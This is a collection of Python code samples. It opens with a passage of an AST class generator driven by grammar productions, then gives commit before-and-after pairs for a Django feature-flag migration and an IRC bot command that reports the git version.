                parent_node.children.append(node)
            node.depth = max(parent.depth for parent in node.parents)
        for production, parent in productions.items():
            self.tree.add(convert_name_to_class_name(production), convert_name_to_class_name(parent))

    def make_ast_node_class_from_single_production(self, rule: str, production: Production):
        if isinstance(production, RuleAliasProduction):
            # This was handled in pre-processing.
            return
        elif isinstance(production, NamedProduction):
            class_name = convert_name_to_class_name(rule)
            self.process_parameters(class_name, production.parts)
            self.make_ast_node_class(class_name)
        else:
            raise RuntimeError  # TODO: Replace with custom error.

    def make_ast_node_classes_from_production_list(self, rule: str, production_list: List[Production]):
        # Make the base class for these productions to inherit from.
        self.make_ast_node_class(convert_name_to_class_name(rule))
        # Now create each child class.
        for production in production_list:
            if isinstance(production, NamedProduction):
                class_name = convert_name_to_class_name(production.name)
                self.process_parameters(class_name, production.parts)
                self.make_ast_node_class(class_name)
            elif isinstance(production, RuleAliasProduction):
                continue
            else:
                raise RuntimeError  # TODO: Replace with custom error.

    def process_parameters(self, class_name: str, parts: List[ProductionPart]):
        node = self.tree[class_name]
        for part in parts:
            arg = self.get_arg_from_production_part(part)
            if arg is None or arg.name is None:
                continue
            if arg.type is None:
                param = (arg.name, None, 'str')
            else:
                base_arg_type = convert_name_to_class_name(arg.type)
                arg_type = base_arg_type
                for wrapper in reversed(arg.wrappers):
                    arg_type = wrapper + '[' + base_arg_type + ']'
                param = (arg.name, base_arg_type, arg_type)
            node.params.append(param)

    def make_ast_node_class(self, class_name: str):
        node = self.tree[class_name]
        lines = node.lines
        superclasses = ', '.join([parent.name for parent in node.parents])

        def param_to_str(param: Param) -> str:
            param_name, _, param_type = param
            return param_name if param_type is None else param_name + ": " + param_type

        has_params = len(node.params) > 0
        params = [('self', None, None)] + node.params

        lines.append(f"class {class_name}({superclasses}):")
        if has_params:
            joined_params = ', '.join(map(param_to_str, params))
            lines.append(f"    def __init__({joined_params}):")
            for name in (name for name, _, _ in params if name != 'self'):
                lines.append(f"        self.{name} = {name}")
        else:
            lines.append(f"    pass")

    def get_arg_from_production_part(self, part: ProductionPart) -> Optional[Arg]:
            if isinstance(part, LiteralPart):
                return None
            elif isinstance(part, SpecialPart):
                return None
            elif isinstance(part, RulePart):
                return Arg(None, part.name)
            elif isinstance(part, RepeatPart):
                part_arg = self.get_arg_from_production_part(part.part)
                if part_arg is None:
                    return None
                arg = Arg(part_arg.name, part_arg.type, part_arg.wrappers)
                arg.wrappers.append('List')
                return arg
            elif isinstance(part, SeparatedRepeatPart):
                part_arg = self.get_arg_from_production_part(part.rule)
                if part_arg is None:
                    return None
                arg = Arg(part_arg.name, part_arg.type, part_arg.wrappers)
                arg.wrappers.append('List')
                return arg
            elif isinstance(part, OptionPart):
                part_arg = self.get_arg_from_production_part(part.part)
                if part_arg is None:
                    return None
                arg = Arg(part_arg.name, part_arg.type, part_arg.wrappers)
                arg.wrappers.append('Optional')
                return arg
            elif isinstance(part, ParameterPart):
                part_arg = self.get_arg_from_production_part(part.part)
                if part_arg is None:
                    return Arg(part.name, None)
                return Arg(part.name, part_arg.type, part_arg.wrappers)
            else:
                raise RuntimeError(f"Unexpected production part type: {type(part)}")  # TODO: Replace with custom error.

<|endoftext|>


<commit_before># Generated by Django 2.2.24 on 2021-06-10 09:13

from django.db import migrations
from corehq.toggles import TURN_IO_BACKEND, NAMESPACE_DOMAIN

def auto_enable_turnio_ff_for_certain_domains(apps, schema_editor):
    SQLTurnWhatsAppBackend = apps.get_model('sms', 'SQLTurnWhatsAppBackend')

    for backend in SQLTurnWhatsAppBackend.objects.all():
        # Check for backend.deleted to account for active_objects
        if not backend.deleted:
            domain = backend.domain
            TURN_IO_BACKEND.set(item=domain, enabled=True, namespace=NAMESPACE_DOMAIN)

def noop(apps, schema_editor):
    pass

class Migration(migrations.Migration):

    dependencies = [
        ('sms', '0048_delete_sqlicdsbackend'),
    ]

    operations = [
        migrations.RunPython(auto_enable_turnio_ff_for_certain_domains, reverse_code=noop),
    ]
<commit_msg>Be smarter about migration loop...<commit_after># Generated by Django 2.2.24 on 2021-06-10 09:13

from django.db import migrations
from corehq.toggles import TURN_IO_BACKEND, NAMESPACE_DOMAIN

def auto_enable_turnio_ff_for_certain_domains(apps, schema_editor):
    SQLTurnWhatsAppBackend = apps.get_model('sms', 'SQLTurnWhatsAppBackend')

    for backend in SQLTurnWhatsAppBackend.objects.filter(deleted=False):
        domain = backend.domain
        TURN_IO_BACKEND.set(item=domain, enabled=True, namespace=NAMESPACE_DOMAIN)

def noop(apps, schema_editor):
    pass

class Migration(migrations.Migration):

    dependencies = [
        ('sms', '0048_delete_sqlicdsbackend'),
    ]

    operations = [
        migrations.RunPython(auto_enable_turnio_ff_for_certain_domains, reverse_code=noop),
    ]
<|endoftext|>


<commit_before>has_pygit = False

try:
     import git
     has_pygit = True
except:
     print('Error loading python-git')

import time

def command_version(bot, user, channel, args):
    if not has_pygit:
        return bot.say(channel, 'Version unknown')

    gitrepo = git.Repo(".")
    githead = gitrepo.iter_commits().next()
    author = githead.author.name
    date = time.ctime(githead.committed_date)
    bot.say(channel, 'Currently running git commit %s (%s @ %s)' % (str(githead)[:8], author, date))
<commit_msg>Update version module to be version dependant on the git module (Debian uses 0.1.6<commit_after>has_pygit = False

try:
     import git
     has_pygit = True
except:
     print('Error loading python-git')

import time

def command_version(bot, user, channel, args):
    if not has_pygit:
        return bot.say(channel, 'Version unknown')

    gitrepo = git.Repo(".")
    if git.__version__ > '0.2.0':
        githead = gitrepo.iter_commits().next()
        author = githead.author.name
        date = time.ctime(githead.committed_date)
    else:
        githead = gitrepo.commits()[0]
        author = githead.author.name
        date = time.asctime(githead.committed_date)
    bot.say(channel, 'Currently running git commit %s (%s @ %s)' % (str(githead)[:8], author, date))
<|endoftext|>